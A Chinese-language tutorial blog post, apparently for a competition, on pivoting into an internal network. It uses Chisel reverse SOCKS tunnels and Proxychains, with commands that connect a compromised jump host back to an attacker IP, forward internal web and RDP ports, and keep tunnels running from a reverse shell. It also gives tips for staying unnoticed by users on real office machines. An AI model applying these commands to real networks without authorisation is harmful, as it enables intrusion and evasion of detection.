前言:
这是我们内网横向的第一阶段,我们需要把我们的攻击机送到内网里
0x01 原理简述
宏观类比:隧道代理如同在两道防火墙之间铺设一条专属的“地下管道”。由于攻击机无法直接触及内网深处的资产,我们利用已控制的跳板机作为“中转站”;攻击机将所有指令打包送入管道,跳板机在内网代为执行并将结果原路传回。
*技术定义:利用代理工具(如 Chisel、FRP)将攻击机的流量封装并通过合法端口转发,突破网络隔离(NAT/防火墙),实现攻击工具(Nmap, Impacket)对内网目标协议(TCP/UDP)的直接访问。
0x02 横向阶段 1 与 2 核心工具获取
针对内网隧道穿透与后续的信息探测,必须在断网比赛前,于攻击机(Ubuntu)本地提前储备好以下四款核心工具的双端版本(Linux/Windows)。
流量劫持代理库:Proxychains
直接通过 Ubuntu 官方软件源安装,用于将本地任意命令行工具的流量强制转发至 SOCKS 隧道。
下载:
1 | sudo apt update |
基础使用规范:
配置代理出口:编辑
sudo nano /etc/proxychains4.conf(或/etc/proxychains.conf),在文件最底部[ProxyList]下方保留唯一的隧道出口:socks5 127.0.0.1 1080。执行命令:在任何不支持代理原生设置的命令行工具前追加
proxychains4前缀。例如:proxychains4 curl http://<目标内网IP>
隧道核心:Chisel (双端二进制文件)
一款采用 Go 语言编写的高性能隧道工具,单文件执行且内置加密。必须同时下载 Linux 版(作为攻击机 Server)和 Windows 版(上传至靶机作为 Client)。
下载:
1 | # 创建专属工具目录 |
基础使用:
Server 端 (被连接方):
./chisel server -p <监听端口> --reverse(开启服务端,--reverse允许客户端建立反向隧道)。Client 端 (主动连接方):
chisel.exe client <服务端IP>:<端口> R:socks(R:socks告知服务端在本地建立反向 SOCKS5 代理)。
0x03 隧道建立流程
在完成 0x02 的配置后,按照以下三步建立穿透内网的 SOCKS5 隧道:
这里使用反向代理,因为正向代理容易被防火墙杀掉
攻击机侧 (Ubuntu) 启动监听
在攻击机终端启动 Chisel 服务端,等待靶机接入:
1 | ./chisel server -p 8000 --reverse |
跳板机发起内网穿透
将对应平台的 chisel 客户端上传至跳板机可写目录(如 C:\Windows\Temp\),执行反向连接命令:
1 | C:\Windows\Temp\chisel.exe client <攻击机IP>:8000 R:socks |
攻击机侧流量接管测试
确认 Chisel 服务端回显 client: Connected 后,代理即在本地 127.0.0.1:1080 生效。通过 Proxychains 发起内网探测测试:
这里的目标内网ip不是跳板机ip,是我们在跳板机里搜索到的同内网的其他主机ip,这里这条命令只是为了测试我们是否能访问跳板机所在内网
1 | # 测试内网 IP 的联通性 |
0x04 进阶技术:
局部端口转发
应用场景:无需进行全网段扫描,仅需将内网特定主机的单点服务(如 <目标内网IP> 的 80 Web 服务或 3389 RDP 服务)单独映射至攻击机本地。
配置命令 (仅变更客户端执行参数):攻击机端保持 server -p 8000 --reverse 不变。跳板机端执行:
1 | C:\Windows\Temp\chisel.exe client <攻击机IP>:8000 R:8080:<目标内网IP>:80 |
R:8080:<目标内网IP>:80:将攻击机本地的8080端口,绑定至内网主机<目标内网IP>的80端口。攻击机浏览器直接访问127.0.0.1:8080即可触达内网业务。
0x05 异常处理
“Shell 卡死”和“掉线”问题
隧道前台阻塞: 当你在靶机的反弹 Shell里敲下 chisel.exe client ... 并回车后,正常情况下,这个程序会一直霸占着你的屏幕。这叫“前台运行”。这会带来两个致命问题:
没法干别的活了:你的 Shell 卡在这里,没法继续敲
whoami或者跑其他提权命令了,除非你把它Ctrl+C停掉,但一停隧道就断了。进程连坐死亡:如果你这个反弹 Shell 不小心掉线了,或者 WebShell 超时了,系统会把这个 Shell 里的所有前台进程全部杀掉,你的隧道瞬间灰飞烟灭。
解法:
Linux 的解法 (
nohup ... &):&的意思是:把这个程序丢到后台去运行,把命令行的输入框还给我。nohup(No Hang Up) 的意思是:告诉 Linux 系统,“就算我这个终端关闭了、断开了,也绝对不许杀掉这个进程”。
Windows 的解法 (
Start-Process -NoNewWindow ...):在 PowerShell 里,用
Start-Process可以拉起一个全新的独立进程,它不再依赖你当前的 Shell。-NoNewWindow的意思是:静默运行,不要弹出一个新的黑框框。这在实战中极其重要,如果是打真实的办公电脑,突然弹个黑框框,目标用户立刻就会报警。
- 本文链接: http://example.com/2026/03/21/ISW/内网渗透与横向移动/内网横向1_隧道穿透与代理技术/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
欢迎关注我的其它发布渠道